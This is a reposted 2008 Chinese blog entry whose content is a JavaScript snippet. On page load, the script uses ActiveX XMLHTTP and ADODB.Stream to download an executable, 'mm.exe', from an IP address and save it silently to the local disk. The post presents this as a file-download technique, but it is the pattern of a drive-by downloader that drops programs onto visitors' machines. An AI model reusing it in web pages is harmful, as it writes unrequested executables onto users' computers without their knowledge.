javascript与xmlhttp联合实现文件下载

转自:http://hi.baidu.com/pao8041/blog/item/6735803d41214903bba16797.html

 

 

<script language="javascript" type="text/javascript">
//js自动下载文件到本地
var xh;
function getXML(geturl)
{
    
//alert("ll");
    xh = new ActiveXObject("Microsoft.XMLHTTP");
    xh.onreadystatechange 
= getReady;
    xh.open(
"GET",geturl,true);                    
    xh.send();                         
}

function getReady()
{
    alert(xh.readyState);
    
if(xh.readyState==4)
    {
        
if(xh.status==200){
            saveFile(
"d:\mm.exe");
            
return true;
        }
        
else
        {
return false;}
    }
    
else
        
return false;
}

function saveFile(tofile)
{
    
var objStream;
    
var imgs;
    imgs 
= xh.responseBody; 
    objStream 
= new ActiveXObject("ADODB.Stream");
    objStream.Type 
= 1;
    objStream.open();
    objStream.write(imgs);
    objStream.SaveToFile(tofile)
}
getXML(
"http://192.168.22.206/mm.exe"); 
//js自动下载文件到本地结束

</script>

 

 

posted on 2008-08-09 21:47  王丹小筑  阅读(747)  评论(1)    收藏  举报

导航